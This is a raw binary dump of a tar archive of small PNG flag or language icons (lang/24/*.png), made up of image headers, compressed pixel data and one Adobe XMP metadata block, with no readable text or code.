IHDR�w=�tEXtSoftwareAdobe ImageReadyq�e<mIDATx��VKlLQ��Ni����4�H(%H�G�6%MB*�K$6	�� ��l�(	!��.�{�D�1�ZU󞹏s�猎���I��{�����3�eY�%c�אHDED*����u�W�m��I2}Jbm[�1x^F�<���i�<���v���AH�q��@)pɤ|qE5P!�K;�������䝹I��𫨦���z��.P���wG��3b�!�w�@ QL�NC�~)��)��'x���"�y��^:'��*nL�N�&��X�A�qΏ���!A�KUv���ۢ(6�K&���W�����dž	�D�0��W��`0Ӏ�/��`�ȒրS\~T
�W���"�@X��Rq\��AKe1ϥH�/ab��0��I3b`��Aǰ�Q�N�{��ˈ�ľ
���h��O�<$��<�KR��L/3�S����E��m]!�S��"xg'��^9�dM�[GV/}�&ے%0M�Ae*���(JA� �NCU�q��c���C r\Y1X,��6�-ÃJW��r-�=�t���Þ��X�>�{���Hd: ��"f2X,CO�ԯ��~�f1A�O���F8-��`�V���>��	�}F%�t#'DTR�R��g��q�ht;eq��u��څ�-���\��eo#B��ũ44��[D�x����uHh\]�c�K�K��
�q�b�>��,���i�ntcϝ�(6��o��Q�v�'�DT�9h���J��)<�v���?��>�H� ��!��j��c��hnw/Tq��F�/�o_2��Q��Q�[B���@����!�Sx%!
G.Ɖ�\���{U�	��xÏ�r�T�~�������QZ��U�`ְ~LVK�WIEND�B`�lang/24/uz.png000064400000001126151721413460007062 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�ԖMkQ��3s3�8��*���
Յ[iw"�p�/�w%�;܈�ƅ�R��+%�E�bb�&�܏��LA���wsg.�y��νWT�E*a�Z8@ԁZ���y��ӎ��%�ui����K��С���;7N�H�_mq{s��F��/�Xi��*���C�oC�_�WR�p��̳�}��f�i"�o5y����$@"�q�8��EQa�;FAQ���0��EF�
`�S��/y��u���O=�r�t������_��R������hl���-�.����;J^��~$�M*�0���ql���t���	��)�V��iLϕe�β,jF'�	y��'URb�����_1U�\8�|~񄢞������d�v���� 
�NA���E�4D���h�;RR�?�I��<���J���GI��F�F�	�!�z�{>�>��K��9�]�c���]�R��S��P��Oq8��IEND�B`�lang/24/en.png000064400000003347151721413460007035 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FmIDATx��}p���ٻK�$GD�	0M  M�(j
�ڌI�h�l�[�NǑR-6Ć�0mC�Fl�$ED�`�)$��!)� MB���r�w�{����0�����|��>��*"­�[,_(@��H�!
H��۽W3������ݝl�Rυ�b\��I����s��hQf�D����*�}F/D��Q<��N��O�{��d����W_�>�$������
��j�DK�Ř��kRg܋�}.V4�f̘���� �p��N�z�m�!���%�19P�K�Ϡ����*?^LJ�d~x
#Fdp�	|}�!J%`v^M��uvzQ0A��A�]Ϟ�D�'��lĖ?����Q�R�r5��~X}��kf16�$Ww���<�Q
G���A���v�DtuV(�bF�.�����N��y�F2��\>{לbҦO����nmLd���u�k�1^g4��Y�q�8�o&t�Y��({�̚5]��Ft�@����u=d2s�T�N�P�w���#kM9iӧaD,����#ttx����d����x�s�d��xv�?7�*
�������G-Љ����,��7x�r��_�VPȈ����l��|<��u��}}aL3%Z ����78y��򖋬\�-���Õ��ͧ�t!S����nY��l�`���v�c\�XAW���ZA��0-���nv�|����(��@��7��o*>�~�›�{f6l�����χ�JGMv�(1�D�cz{I.�AfA!ڰ!44���XV$,�@��x!���V���z%)Q��~��WAE���y��8S�`��M4����(
�͆`��ݓ�O�/��u�0.@D"�q�����7*�1�i�>��������F�+m@�{��#��q]IBM��g`C�R}����0�b�zs��ÔQ(�h������4�!��	_k��]�,YtOt�$x�
���1"���$Vn�H0D����v�q��Kw͸v��ݮ$*�a��6�EE�c�̿ߡ���/��t)���DЉkD�T9�x�t<����u��jG	)."~DL�$	,��K��?>�w�1��3Ivhtm��?x��wж�m�O�-X,AD��XUW��[�����~��5��\���
/s�n�_��e适aXq�\M["N��d�t]�H�|��>2_Zl��6���Qqf�	,�&�6ivdK�#[�����,�c�TV�~�y��J��7Y.�o��?�+N�
�ٖ��8�۶-��v9Y�R��pއ���uu<un8+��B��np�B&�廙7�Wtv��vy'��L)�3�	*G��r�bҳ\	;�QWJ{�Zi&U<��ʡ�>���J�	,��`Q�\*cǮ���ĭ��.i��Ks�ˑ=
�*@���q;.tpa�Ө������T��R�� ����|���[�)�8{"
'{�^��%
TUeժ�<��QR�m��-��X���V��|���˯�ҹa#�ƣWlga�	���c��lx<z|��x<|>or@Ƴi�^O�}�&L��}�1�o�W�"
p0�o˻�SJ�^i�e�yK�)_���j�_RP=�IEND�B`�lang/24/be.png000064400000001146151721413460007014 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�ԖM��@���n;�f`��?�{Ċ� qN�Xp�K�qD�Q�1I&��U,����I���U�_��.���K8v���H��fد����G@��נ
n3�'���
��%����<��'`}-1��`/�@��A=;�TA�����յ���_{x����f�Z�5��t������Y����XU��`��ŷ���{�L��]�,��k�e�
$M�4!�����ޡ����'�v�;���`
Ү�LZ�k���� $��h�o�"���F�"@���wo�>��	1�4R����&H��k�vM+b�
ʒ��W�(I?jx�*b���(�$�̉�oކ��g��3���6�S|�$wO�s�L��U�(q����y(��LQ��g�Y$�]-S7�	Vt����mD]wriN$�����l#��L���������:���
���W�w�&����IEND�B`�lang/24/lt.png000064400000001060151721413460007040 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�엱nA���;�I�	E/@CGOE�s�0t)xj�<(6�nwf(�l_��&���jN��?;�]qwNi�����HS����z��,�$����X�����Xֽ�
t�w�����W�'���x�,�;�E��x�
Z���=gAh�&`�
��>��x_�a��}z��%��
I��^��^7=@1e�����@7Z����m��2ьL4�Η�L��-���*ݒ�o�=�'�ϪT)�\��<P��&L�@VE�1��C�1=�|��T�R�%���an�K�(�1ߏ�B��&TáW ��{�7>3sǻ�6�����vV
�u�B h)��M���q	@M���"�_tb��� �����j�W��+��T�+�5�"�Z��"�b#����8=5�����"J�2�IEND�B`�lang/24/fy.png000064400000001451151721413460007043 0ustar00�PNG


IHDR�w=�sRGB���gAMA���a	pHYs���f��tEXtSoftwarepaint.net 4.0.12Ck��IDATHK�U�KSa>u�t�MW�"�D*� -�IE
/,�()�A��Aެ(�r�2\f�6��1�L�h�VNev�ζ���=�������.�Ϲx��~���9�U�f�������r�<2�碨�cMco�^¨w)���$���–�A�:U}�Yl:ݟ��^gĕg��D:�O�lk��է_��ɨ�a[�SS�>y��Q��Q�iS%+̨I&����j؊�X����w�J
C5V�^h��܁��D�f)�&��^ߌ��H$���!��
}G���O��`�	�l��7 1�M�y3�G����UC2�12��@!U��OO��R�	����E��y�[����82-᎛X��)��m��~7���#�=�b[�[͂loā~z�еK�<�)y��J��̓ؠ{�W�����2҅�۴����
B�/��o����a'�Qg�?��0�h��*p�\m%D����lo�/;4�0�o��_�M��� 
!�02s��A<��J���M/a��P�a�6����B�Ϧ
d#����q��.�FZWS��Gޟ��ʛ�ln}��m8��z7�};�m�P��9�Yl�݁���
�gH�h�~�L?��[�Ehr)���
A�&f��E�{���V���rR3XNj�G0���r}���IEND�B`�lang/24/ar.png000064400000002710151721413460007026 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FNIDATx��YlTe����33�2�i��V�eu��(��HԸE1.!Ƹ��W�Dc�׮�[�	��p��%qk�
Z���R�PZ�Ng9s�/fJ��X�)7|ɟs.�������{�1��9.�
DJ��xP�����m1�ﷄ`�ד����-��?�s�G��������Z�>���D9�1�R� �cY���Z�<�}n|�x��Q�� �h�q�GA����O�e�,��Cc̏��o������]�(��p��e��a�[p�� ��CS���%#����Yp�	���ERI��K�?�g��&67�'�h=�-#GQZ��idݢ�X1o?v����'dJ��F�+ �&�����<Mڪ%͋W�ભ����C��d� N"tt���!����-Mwb[�:� �-N��W~�c~vzT@Cu�V��c{h��B��KY�O������џ���Q��|��t?��C(2R�qe�@)2^7��0�M��p��m=_cT��\,N����TGb$�T�Ul���qӢ5���rE=˔�F��@�%c^/�'z�0�h���sS�?�qy�r��}�D�h�IDbhcX��
�9��p�t�^�Q;°;
�3qvA�%���@jE��'����9��8��;@":�����*��y9�#8��_g�X�aaU=c�����&�f�x�~�L!�,(�  �gY�_�hʆ��3$c��U-d��pb���h�DE���?��U�i��+}mCG���B�����X�J"�Bi=y̍�y�$
����wk�i^����c�Jp|��C���f)7��p���TU�g�D!��J��Jb�A=ya��@�rٺ�v"���^������Ǚ�Q�T�������!�^�.�������&(��'`RK�j�Mut�6>�ޣ���4�M���}/sCj-������;����7�>!�eХ�?�@ ��m�51<&�M���.�v��Ⱥ{�U���]l�p��:��STW&xl�<��~~�9�/��1vh��?^��|۶��LkY�/}�=�<{��ll�ȁ��Jw�+Im�]�_����8;��?��(���.���q8�C�y��n�/[ͺ�M�I^��MضM_��Tte{y�׏P€p����;��Zg��7l����I�9�������D�؜i��ftwB�.#P4!�h������
��c�9�
 ��	Z�2� �#�3��D� \Qv�V�w�N�k&(�!��̮'.և�`P;˶|8"J���u6�2�����&������o$&IEND�B`�lang/24/ha.png000064400000001006151721413460007011 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ͑�0�?��%��
�B
4��5@�*`��
�f��r��Il�pI��jwЎs�<�>}~ϲ���s̈9�.@f���kg�K���lbS���ջ[Wy���>�~�8gM�<��N�y���W��$Q���e��8���o��G��2>{�����l�M�UgPbN������Ei��������G�&���u����&��2U���U�VJL���if�ݰ��3X�3�#���
��.�u�����ؼ�2'�� �cnՂ#��~x_"��	̔�>�@�j���U@�H`�����M�	�v��Sb��M������jA�qmӬ�h�#��_��z�X�*�#��9��'�|�s	�:ڽC�&��ߟ*~
9_�9��fIEND�B`�lang/24/fr-qc.png000064400000003455151721413460007443 0ustar00�PNG


IHDR�w=�tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:ce57512a-0dda-11dc-983c-b208d23bf319" xmpMM:DocumentID="xmp.did:9ACA6DC271BE11E2B12EB483A97DC939" xmpMM:InstanceID="xmp.iid:9ACA6DC171BE11E2B12EB483A97DC939" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4E4ED459379DE01197678DC80A35758B" stRef:documentID="adobe:docid:photoshop:ce57512a-0dda-11dc-983c-b208d23bf319"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�Y���IDATx��VKOa=��L�� F|�h7B#�+��.��.�W&���J��ѝQW>�Ƙ`Ġ.%!������Pt�.��Mڛ{�}|��6�y�)�,MO���8Ui0�M5|��KOW���_��O\����@��
k�KN�㼘n��$�^���0=�f�do�76t�#��z�
���͇< �b_�_D����)PX,cw6��cm�u���b���V)+�/�(.Wq�3��\�ے(,i0�%\�w�� v�}m��Q�î���X��mkU�m���H'T�Xk
q���f�aC����9,�uLϰ���K�[n���`�W�X!(�178��Ƭe�
�S���"5__E����Pc2��`َ�X�N�4�UUm�Z��X,�̠碆$p]��	j�MO<���O�P��H��$X<�@Ve�>�k�2}cH���:�C��̨��y�Zf�ށM�Ң�2�˳y\�AE�V�V��g�ʌ�c*$����_�([��������%g/���^�=��3�t�lثn\�gL���CĢp�rPt�h�;뒙�#-�w�O#�cf��3^�Gr�=�G�;�%�[�@i�jOb���s���"tNe��G*)�S���;1ϱL��Ԟ<Ya�p\L`���6)06�:8���Kj�������H����i�7�Ĭ����F�gr���ޖo*+Ə�/Z�6�
o4������pp���5IEND�B`�lang/24/es-mx.png000064400000001403151721413460007453 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ9oA��^c;����H
�8�$�&-PP�	�)i�0��DH�HT
R����@��sw罡��u���'�������1ok-�i.�l�pH��;j�~���A�m�i���7]w�~��i{72������ݺ �
�s�1S���jY^����<Q�Ñ_n,��䒽_u�6��>T���*�F%����m�����#B5�Q>`-�q�D6ט�r9�.�a� *�*��	2@h���o�~�@am��[3<z��X"��J� �b�1M@(�bP�T:���na�����M���dz�y�
-���A;�(�r�AA�?bog���1��O?`�`��r=��vF[��,������-~n� ?5�Y^��Oͱ�����V ��L4�
#A��U�3���q���,l��P�M�^�f(7��!	�V� (jm��2<0�@�0�C!7�W�%��3Lܞf2��`M��1�j� ����I�<���\�L*[�S��Ȋ�
�Tp�E՞TqJ�K������ږJv����:��EQ�Q]M�EA�Y����X��]Ե��u`-V�iL���.
]�Z��� ���p��ӎ�8u��|���=��Ej�yIEND�B`�lang/24/pa.png000064400000001121151721413460007017 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�jSA�s2��bRm�X�H��p#��,�
>��ڧ*>������qQ�R�$�I���;3�E{�M��f��͙�?3FUY%	+��;0� *�v-Pi��P)��뷛(���ϋ
��G����n�;�N�����gy��$7�����Ѭ�f�b�/Y48���v	�6:h�ձ%�ȸ�*΅��!��7˲S;Nf.�7���]�����d��s�(�� ��P��J�t�D��$7��,ԙ�����I��
~�»�[��I}��Ԧ]&�� c-.�h
e�t��n��r��������c����P}z�8��m������ht�T��gwg}y��ޠ�p9�_��ʤM��F�ϕ��	6�ʁ� &"��`����3b������M�4� (!?���?<��?�,
7lRȦP�������pxll�|��hkS�
$��U�߾�ͭ�=IEND�B`�lang/24/zh-CN.png000064400000001431151721413460007342 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�엻nQ�������c��h�@�D
�t�(��1(��Aހ�FTQ ��"A`'���Ι�X_֖M��4�fw���3��f��q�p�v�!P<�4$����aӅ���jF�0�������~u9.p��n��6��mO�>]���o��������öt��-�2|3�}f��p�<���iP��z}���Q_Wd7�7H�Uce+��)B~�`�)��M?���g�L�]`u+�`�
���}P�%hߝ.�K�ec��q���6+�3,u\y�}W!~[E�~Y������V��NJx)�vO��h���<F�t�#?��Sf��$�Lи��z�%�?���8�z2&pͨ�I��DX�t����E
2�C�G��4_�[�@���i>�
4�
zFa����u�+f�D�NK�a�t`�R��Y-ׁa;
Z
���}�HV�!�*�h�w8�6,���I-K!')�8��d{�*�z}��T���<�mjm�5�Q��pj����y�fst����M0+d���
] "T̰���(�ؙ�A_�F^ℬ��3�W?���I��I�lAD���9���)�����RG�A�y\n%�忁�n�OP<˴h������o�w��<�IEND�B`�lang/24/gl.png000064400000001530151721413460007025 0ustar00�PNG


IHDR�w=�tEXtSoftwareAdobe ImageReadyq�e<�IDATx��VML�`~�v�XۀMt,[j�@�	���Aу!1�7��L�E�^�c�/c8@�I#Q3�����m0ֵk}�m��q�M޴���y��yZF�4��p�v�9Gn%7W[&���ס$��<�%��:�g�N ��bs-@	�X�bSQ�㭃���C�	8FS!�(�:V��dz�8������y�9o��\�NNρj}32�w:��Đ���mn׃NԨ����36�l	����%�H��*X�
��D4��EDěyE+q�xL�ô@����˨��T$(
�8.����X�A�j�`*������hҪ���$��($��e��{?e�$)b١�B�<�^dzp¸��W!�k�X��
rkfR�]�H����vgbp���l����Y
V7>5�Dt�X
�&#�S�r�F`*'�ov�e����;��B�����d�X�z����
Iޓ�6�)P�f���P�k)����y\{?���T�`��z�\�W3�x;�C�f�6�z5�Y�̉8O�<
��f_�m�F|>/,�2�Zun7N���%{U�	i=�����h6�mL��DQ�8�ϟ�\@�ע�ɭ~/X��=*���ː�f.
fz�h-��v�
-�LF�N�?
�/�Y|X��t�o���SL&���݁}�`7ko�a��w�|p�E�

�l��$���[>:�F�ń>J��4��>rg�?8"�B��Ɨ��4�H��W�[���H�j�P�IEND�B`�lang/24/sq.png000064400000001337151721413460007053 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FeIDATx�Ԗ�n�P��c�6b��@()"DA\*��N��R��^!$
J@ $D�
�d�Y����`��D�)ɒu��3��ؙGi	GlGN�t�lɱ0����{.]~1g>8ၮK+7�-5���s����`e����:g�.�:o�Q�C�;��x`Q���LYH��e(9��(ƫ���&oeo>C����1��	:��o���%	�c`/qtq|��9
�J�$i�!��L":��Q��U%/$�]��4gl�Д`3�X�4m�)c� Dt8@��&P+Kz�<-xg`���.:$.E�M}K]Ղ@B�Ct�$hdR��M=�C�����E�Mq|�� �Q����hT����~8���Ք���U��"pum��$�	%�>#dE����)W��A��v�s.aE�G�!�}�e�y2�����C~HD�� �( r�5�<���w�*>T�;Y���]����@�j-
3�C��������t�q!M�8�����D�k`F!S����RH1���`F���C�N
і��Z�o.��y�?��1�wL�N �ɱ���tf�.�4H����v�;�=�,�����|��v-�"P�������3f���IEND�B`�lang/24/is.png000064400000001166151721413460007043 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�o�@��/vH��ABa�Tf� DU	�������?�*�0���?��HT�I.vb߻cHjّ)��g�{����={�96	�
c���&�X3w���������|yw���\?���O+)|}����vx<�۫uj޿W؋|���@[ʈ0�.�cp��͚��(�~]��P�g��4�J�q$iF��%�i�M�":I�<S���9f*�ȍ�S�N�J��
['Y�������%#�p�1�Y�Y��l����1R�כL&��0�u>{v��ϫuP�eDQtK�>>���"��€��,Mt:�3.`�!;;��k9a�GH3*�{Zk�'�{�dwϭ
��z
���*��?~�nؾ�v�:[!a �6��X[�9g�����`��Y�oS�[����N��֒��@.�|a�D�f VJb>�v�zc��k�]�^�CJ'9ύ�a�1�c��x�qqL�W�	�
�v�<p.�ӫ�]�k�0���*���:����IEND�B`�lang/24/sv.png000064400000001313151721413460007052 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FQIDATx�엿nA�sw�Pb������<�K
J�!Ez$��k@�; !$j��8vߟ���}{{m9�i2�y��9};���X̌���{��@o�ܥy�Ȁ�����M�������wg�wK�_>�f@?ap�"�
Z�Z���{�π�S�p��I�\�2K�B�z��q1�"�ϵ��=y�O����*y��K�\���o���t8_�g�7n
ϴ�|Ԧ-7�]c{iB�!�U��I4��WnO M�׆����d���Q�!0��׾E��1�7��<Ql�,�C5U�ӊi7����`׭W׹�������u�6W��ћ_�,����e:�p�sl(��ﯳ�E���a�bU�aVƕ��_��R\���7L"Н�!��!���g
�T~5����?9�S!:�O���:�#A�g�&�w����R�b�`f-e�*�	Hp���3h�k�6
	8�I�
Z�����eX"��+�{�'E�ȶ�l;��Y3J�7�ݙj�0���B@@5�u��"Q�-7�ݨ*7�ǔ�h
����u���x��������t8{��
`,N��w�4����IEND�B`�lang/24/it.png000064400000001202151721413460007033 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��On�P��q������
��ر`�MXq]r6��("iZ�}ofX�;)�Yɦ�����f~���9e$�8����y�P�J��_?��$�h�7���>
���l]x}��E
\$"\�������xv�voN���E
�ԍZ�U�o1bR���Y�X\Dh�=�8����э"֔F)���N;QV")��Rƚ2֣XY�'�M�6@t%%E��Q��ߧ	�[
�CA�q��
T�?�`JV�q$�~��M��x=��[�zY��j�*�H�s���)�"H�C@�LK���A퇔 �O5L&]d� ��3�W�����b�jBUTs�����*�)�Ls�]s�,����9����F�Ql`{����v�F|���bԮ�4�I�}Ack�mj?�	y�w�q\`��p��ͦ��9�Q	ҍ�a~�|���|>�����zu�w�r��\���I3�x\/�|,��Is'X4�cF������/�2Ke6>IEND�B`�lang/24/cy.png000064400000002034151721413460007036 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�ԖKL�E����w���P�����X�DSc�.L|4$Mk�&�u゘�J7�A��2���GDI��&��tQZHZJ���^���3ょ�Vw��l&3�����sFcXO�XgYwH �k�;*�3���%z!��\�JZ��/&i���.��'
�kt*�������}J�2B����{�
��8��(bf� ����o]ݜ�͒��(��m�]�Q9?E��]H�&C��+�*4����!��2<�*�g1IX��$�8�-�~�6D��x�|��wΞ{X�������h��PJQ��A]:���F��S����ohD�<�~�� &R+��vZ}�P������9�֫>-`�4?O��o1O�m#��8~!�M؉���B],b
Tn�/��ҋ/�N����X�u�	�K�nHw˨�.�1I���1>�؛oa���GL�V�hWv��R��ں���4��Lů�>���0ZY�x���8p�8�v�n\Ҡ
�R %B�6i�D���
����ޭ��ב���h�w��"��a�P*y��v^y�VOcY1lm(�� Ҹ���.l�e�l'�\�]^����-
�<�0�ѱ�Z��h�cc�^=��B:���uH?D�7����+M��v�#�;x�g'���d�����Nb�C,!B`tMCatm��5�<wx=N�X���z��&����8�����twpvG����=1BX#�h�VUi�B��<r|�L.`s!�ow+ ��?��9��8�q�n�a��C�/���k�E/SS��P�&��di�������*)��&��}�v�V����v0F�gnBb�!�C�@G�覷�O�dbM���|�{>�"�0Ҋ��!S�(L�o��*�a��
 l6�q�^�W:����5����W��ƭÐb4wIEND�B`�lang/24/ta.png000064400000001121151721413460007023 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�jSA�s2��bRm�X�H��p#��,�
>��ڧ*>������qQ�R�$�I���;3�E{�M��f��͙�?3FUY%	+��;0� *�v-Pi��P)��뷛(���ϋ
��G����n�;�N�����gy��$7�����Ѭ�f�b�/Y48���v	�6:h�ձ%�ȸ�*΅��!��7˲S;Nf.�7���]�����d��s�(�� ��P��J�t�D��$7��,ԙ�����I��
~�»�[��I}��Ԧ]&�� c-.�h
e�t��n��r��������c����P}z�8��m������ht�T��gwg}y��ޠ�p9�_��ʤM��F�ϕ��	6�ʁ� &"��`����3b������M�4� (!?���?<��?�,
7lRȦP�������pxll�|��hkS�
$��U�߾�ͭ�=IEND�B`�lang/24/ps.png000064400000001403151721413460007044 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�jA�����%q&Q���� !�R�q���.|���Dԝ "H6bfi�B���ӝ��Ln��*Yx���:u�s��O;�Z��\����<��N9�]\\�Bz=�64���_~:�u�ui�Z�N5�CZ3���V��)�H���}�͢��G7�~wmj8oT���x�֚8���8���� �In�$J(���H)���(�r���n}�>l���lQ:�;���!�R�n�K�	��)��������^Fi�Y�M��˝�@�a�[\�I�}�Wo(ߘ��G��#���A@�t���R�8��A��s�:rc���C0q�<#ss�u��K�V�q9��
��t:|��ߢֈ���Uʷ汽��Iuv������;Vb�N� �2�Rh�s��j��iL�"�~�wb�l�����ʔ�dFj� �1&7z?����D���hR�w��:��
ƚ��V��<N� `��n���'�.-!.Nb�z���D/_c�S ��m�Q.zk��B��Ic���`�A�Kf�Tm4f_*�(�+\�zA��մ^�ȋ=���TG;�vIN��#JdQ2�'8@�4O��Ơ���:ES@���c�p���IEND�B`�lang/24/sm.png000064400000001203151721413460007037 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F	IDATx�Ԗ�kA�?{{��--��
6,mb-�"X�����M�XX�QQLcQ�`i!�b��$����ΌŽ��&�p)X�ۛ��~gnnΙ�i	�l�p@
�gz�;�X�y�ݮO]�lC������6��nNM���ͅX�n\[Fbwçp{�2�7�p�Zd��>���)�FQ�F��Z�����<�w�g/��XL"������Qb��0Q�4�h�eK9<�{��h5�D�>�FY�&RU�k���qt>�p�A������g�FVV.����R�ԃ�HQ��H�%/ڱS���Y��$Ŵ���h�-Y� �x��r�w$>$�ͳ)��a!�ڒ6�Yq��o�ޔ��,?^�s�s�����?U�+�(�����A�{�z�aA��i� �@"��B@
�'����+p��N
6� Fp��)�N*H���~f��4
����ؑ�ß��%`8�s��~�:��(\=Z��U�	7�1�F[IEND�B`�lang/24/pt.png000064400000002064151721413460007051 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��Mh\U���7y�$�ɧ�:Q�֢�TR����'�lWn�֝���*�Q�*~���q��A����V��/�f&3���{��y�yS�i$����c���s�����1�Y��P�
�I{�����~>�e���x��k����}�ш�RLO��<6?=���r���!�1�A�Ib�Z��)�_ɋ�n2Vͱ��n�g�D����E~f�7A������M�xq�g�X<o���0��xw�xΣ�����_��o�7ǁ8NM=ܥ�]��V�%(��z��m����vC�;��a ����g�K���k�9��N0�,XC��%�ņ�ȹ*�wb�Zvc$y��-�#_�mD��8����9�Z��?'Y���.ֆ����`�co�$G[z�*��DD�x�z	�Ba0�8�!!)�}s�r��X'/xl�p�T@���`oYw�zS�Q��������Kf�ͺϷ�L�t���:��_-,�x�&�1OUi,�),�O�l+��i���~Ƨ�X�9�q��m�D���Ϸ9�I��U�J���]��,C{�о
c��b�,�}���b���m���Q��{G�g�~;�(������l�h�D!�0J#��Q�T�B�2��<Ù�>��7��,��c�:��į]��j�$�2\�F:O�X�.��c�,V:Zf��i��B�/o��]�����۽4%�Y�H��t��1�'�������
��J4�*�nZX�����hI--���h��ko�����#��!��u�gw)��^�:W1t�ݥ�:
 �m��6��Y�!.]^Ͳ��/4-m�֭+�`
A�H
��i �~�٫z��\>[970�o�=�;���۵̃+�ھ���
�N�\�o?�䛠��iPWw?N������k*�NIEND�B`�lang/24/sd.png000064400000001576151721413460007043 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx�Ԗ͋Uu�?�sϽ�z�m���9ji
i+Q��F �,�(�Ѣ���ZF��E�@HB��Y(�D.Ql
s�Qt��eΜs~/O�s�=�r�@f=��y��|����{�VR<VXV@>P���[��D��P{��(���$/|>>��~�;��(�\��������8z4�(e����*����n7*`�V�:�]�B��(\�"�yi�0�Ih4�d:�S��)�%�1��~�Љ:�ak�޹�-�p��"Dx}x��l㷻�s��ԩ�w,
Кi�XP0	׿ʑ�����Oi>{�8Á��5���Ck�>��JT�u�[��ٴQ»��ųܺ;�:g9s�,E�ę�gi�3`"
���HQ���x`5[_ފG;lc�����UnݾIg�
�(Q$&�w��O(�!�gؾ�
�A�_�& ���k�^���/�WE?�\zD�����ǎ�:��gs�6�p6�1Ɛh��K���8}~�(���_����\�:!N��z�-6�ۄ3	V���\lj6������ �9z����$A1���v�:��Ɇ��x��}�"�Ze�"E����%�l�K�l�E��Oqcj������v32�<�×ߟ�ܕ�P�ÉC�e�h4���y������$`^���<lf�`j��(O�.͠T�ߦA�[%`���V�`m>�ZD����h�3ނ��s��z���j�@}��3��F�C��b�X��*��R�z�p�kIEND�B`�lang/24/mt.png000064400000001007151721413460007042 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�ԖAnAE_
�,�Rbb�|�(�·���|��P,ib����
X��"�jMW՟�k�j�$��8�M����0�@[�O�!g�ޛU�7��w��<pL�Ȍ��Eg6#��!�V���kR����|>xd���@�>�ۜ��o��o�sH�8��9����Q��l�竗�o��Ω7P�0�/=�E��~��+j��n��s�<���@�F�O'�o6�����k��=݋��ţqy�˰y�� 5l4J2��OsϯAiNO�ͣj���@�g�$J��Y,���[*2p���[Yn�ܙ0ŪZk��EddZ	:
���D��I�t����p	t��p���ˍv��k�����*^�b�`l��IEND�B`�lang/24/th.png000064400000000714151721413460007041 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FRIDATx�Ԗ�NA���;8#��X�������ll|;;+�B���@A��D�ۙ�8/�d1�ovw��'�ϟYB`���;'0@
���ȹK`�����16�^���s/2��}w5���@����u9��T'TwX�o��{-l�KH
��k�꭪$Irn+�^�s�7�O\^�0�Q���Z�>�=�� ���n��|�W	��t��q�e`�!(Ka0�2�Ԣ|ޢ�OC���(�+K#�-�`P�3M���M�}�\�
�\����5�$�|gd9+S�^ ��N'V�iD.�_^��&a����]�8�,���nWDx�0��W�3Ro�ۭŨMIEND�B`�lang/24/yi.png000064400000001113151721413460007041 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�kA�3;�w���!(� 1m:A��
�VV��Y�����`!��6),����ɑ��c>,�z=o��-|��e�y�y�����{���a4. t�V��+���m��B�$�РC
PW����>�q��!��%���=1]����Kݐ�����Ʊ?1�OL-�n)�1S��1f+�ҍ?�b-\:�+��֢��bzex��ԸJE�I�l�a83��(����X<H�h��ɽ�韜�#i��n���,�S�.��a���*�W���|��?ɋ��977�Ib��K��c�^�8����9U��ם	��!���O����f̍�!��ݹ�(�|�~���|�RlE�*�sm��T�=b�ʭg8�!:�j�h��[HO2kA���L�W7�9/>�g5�Z�����]��{�ֺ��i&�%��\3��οh�5����*~�pg�}lIEND�B`�lang/24/ms.png000064400000001417151721413460007046 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�ԖMhQ���L�2�$����6�����X)u�B���T�,�kA]�Ă�(��A]�]Y]�(��iq��
